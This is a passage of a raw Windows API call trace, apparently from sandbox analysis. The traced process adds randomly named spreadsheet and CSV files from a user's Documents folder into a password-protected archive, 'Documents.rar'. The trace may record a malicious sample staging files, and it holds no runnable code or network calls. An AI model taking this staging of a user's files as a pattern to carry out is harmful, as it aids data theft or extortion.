hTemplateFile=0x0) returned 0x1b0 [0068.309] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.309] GetTickCount () returned 0xa675dd [0068.309] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.309] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.309] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.309] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.309] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="1ue2Dui.csv") returned 11 [0068.309] SetWindowTextW (hWnd=0x10280, lpString="FCaj7Z UR1.ots") returned 1 [0068.309] GetTickCount () returned 0xa675dd [0068.309] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.309] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.310] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.310] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.310] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x39e)) [0068.310] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.310] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14365019038) returned 1 [0068.310] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x51d0, lpOverlapped=0x0) returned 1 [0068.310] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a5210, nNumberOfBytesToRead=0xfae30, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a5210*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.310] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.310] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.310] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63da0, Size=0x48) returned 0x39db40 [0068.311] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.311] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.311] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63da0, Size=0x48) returned 0x39daf0 [0068.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.311] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.311] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63dd0 | out: hHeap=0x2e0000) returned 1 [0068.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63da0 | out: hHeap=0x2e0000) returned 1 [0068.311] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d70, Size=0x48) returned 0x39db40 [0068.311] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.311] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.312] GetTickCount () returned 0xa675ed [0068.312] GetLastError () returned 0x0 [0068.312] SetLastError (dwErrCode=0x0) [0068.312] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.312] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.312] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.312] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.312] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14365630037) returned 1 [0068.316] GetTickCount () returned 0xa675ed [0068.316] GetTickCount () returned 0xa675ed [0068.316] GetTickCount () returned 0xa675ed [0068.316] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.316] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.316] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.316] ResetEvent (hEvent=0x1a4) returned 1 [0068.316] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.317] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.317] ResetEvent (hEvent=0x1a4) returned 1 [0068.317] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.318] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.318] GetTickCount () returned 0xa675ed [0068.318] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14365874690) returned 1 [0068.318] GetTickCount () returned 0xa675ed [0068.318] GetTickCount () returned 0xa675ed [0068.318] GetTickCount () returned 0xa675ed [0068.318] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.318] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.318] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.318] ResetEvent (hEvent=0x190) returned 1 [0068.319] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.319] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.319] ResetEvent (hEvent=0x190) returned 1 [0068.319] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.319] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.319] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.319] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.319] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1e227c [0068.319] SetFilePointer (in: hFile=0x198, lDistanceToMove=108, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x1e22e8 [0068.319] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.320] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.320] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.320] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.320] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.320] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x5240, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x5240, lpOverlapped=0x0) returned 1 [0068.320] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.320] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.320] SetFilePointer (in: hFile=0x198, lDistanceToMove=1974908, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1e227c [0068.320] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1e227c [0068.320] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.320] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.320] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63da0, Size=0x48) returned 0x39daf0 [0068.320] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.320] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.320] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63da0, Size=0x48) returned 0x39db40 [0068.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.320] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.320] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63dd0 | out: hHeap=0x2e0000) returned 1 [0068.320] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63da0 | out: hHeap=0x2e0000) returned 1 [0068.321] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63d70, Size=0x48) returned 0x39daf0 [0068.321] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.321] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x6c, lpOverlapped=0x0) returned 1 [0068.321] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63d70 [0068.321] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x6c) returned 0x3b4bd10 [0068.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.321] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.321] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1e7528 [0068.321] CloseHandle (hObject=0x1b0) returned 1 [0068.321] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.321] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.321] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.321] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.321] FindFirstFileW (in: lpFileName="M53FxPpcT\\oGJkVukoMxIO6MpIrH.xls", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.321] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.321] CreateFileW (lpFileName="M53FxPpcT\\oGJkVukoMxIO6MpIrH.xls" (normalized: "c:\\users\\whuoxysd\\documents\\m53fxppct\\ogjkvukomxio6mpirh.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.321] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2df630, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.321] GetTickCount () returned 0xa675ed [0068.321] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.321] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.321] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.321] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.321] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="FCaj7Z UR1.ots") returned 14 [0068.321] SetWindowTextW (hWnd=0x10280, lpString="oGJkVukoMxIO6MpIrH.xls") returned 1 [0068.322] GetTickCount () returned 0xa675ed [0068.322] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.322] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.322] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.322] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.322] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1d, wMilliseconds=0x3ae)) [0068.322] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.322] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14366253309) returned 1 [0068.322] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xf7f7, lpOverlapped=0x0) returned 1 [0068.323] ReadFile (in: hFile=0x1b0, lpBuffer=0x36af837, nNumberOfBytesToRead=0xf0809, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36af837*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.323] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.323] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.323] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63dd0, Size=0x48) returned 0x39db40 [0068.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.323] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63dd0, Size=0x48) returned 0x39daf0 [0068.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.323] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e00 | out: hHeap=0x2e0000) returned 1 [0068.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63dd0 | out: hHeap=0x2e0000) returned 1 [0068.323] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63da0, Size=0x48) returned 0x39db40 [0068.323] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.323] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.324] GetTickCount () returned 0xa675ed [0068.324] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14366419678) returned 1 [0068.324] GetTickCount () returned 0xa675ed [0068.324] GetTickCount () returned 0xa675ed [0068.324] GetTickCount () returned 0xa675ed [0068.324] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.324] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.324] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.325] ResetEvent (hEvent=0x1a4) returned 1 [0068.325] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.328] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.328] ResetEvent (hEvent=0x1a4) returned 1 [0068.328] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.329] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.330] GetTickCount () returned 0xa675fd [0068.330] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14366999869) returned 1 [0068.330] GetTickCount () returned 0xa675fd [0068.330] GetTickCount () returned 0xa675fd [0068.330] GetTickCount () returned 0xa675fd [0068.330] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.330] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.330] GetFocus () returned 0x0 [0068.330] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.330] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.330] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.330] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.330] ResetEvent (hEvent=0x190) returned 1 [0068.330] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.330] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.330] ResetEvent (hEvent=0x190) returned 1 [0068.331] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.331] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.331] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.331] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.331] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x1e7528 [0068.331] SetFilePointer (in: hFile=0x198, lDistanceToMove=116, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x1e759c [0068.331] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.331] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.331] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.331] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.332] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.332] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xf860, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xf860, lpOverlapped=0x0) returned 1 [0068.332] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.332] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.332] SetFilePointer (in: hFile=0x198, lDistanceToMove=1996072, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1e7528 [0068.332] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x1e7528 [0068.333] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.333] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.333] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63dd0, Size=0x48) returned 0x39daf0 [0068.333] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.333] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.333] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63dd0, Size=0x48) returned 0x39db40 [0068.333] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.333] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.333] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63dd0 [0068.333] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63e00 [0068.333] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63e00 | out: hHeap=0x2e0000) returned 1 [0068.333] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63dd0 | out: hHeap=0x2e0000) returned 1 [0068.333] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63da0, Size=0x48) returned 0x39daf0 [0068.333] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.333] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x74, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x74, lpOverlapped=0x0) returned 1 [0068.333] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63da0 [0068.333] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x74) returned 0x3b4bd90 [0068.333] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.333] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.333] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x1f6dfc [0068.333] CloseHandle (hObject=0x1b0) returned 1 [0068.333] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.333] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.333] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.333] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.333] FindFirstFileW (in: lpFileName="M53FxPpcT\\s4EDs60 8.csv", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.333] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.333] CreateFileW (lpFileName="M53FxPpcT\\s4EDs60 8.csv" (normalized: "c:\\users\\whuoxysd\\documents\\m53fxppct\\s4eds60 8.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.333] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfa30, 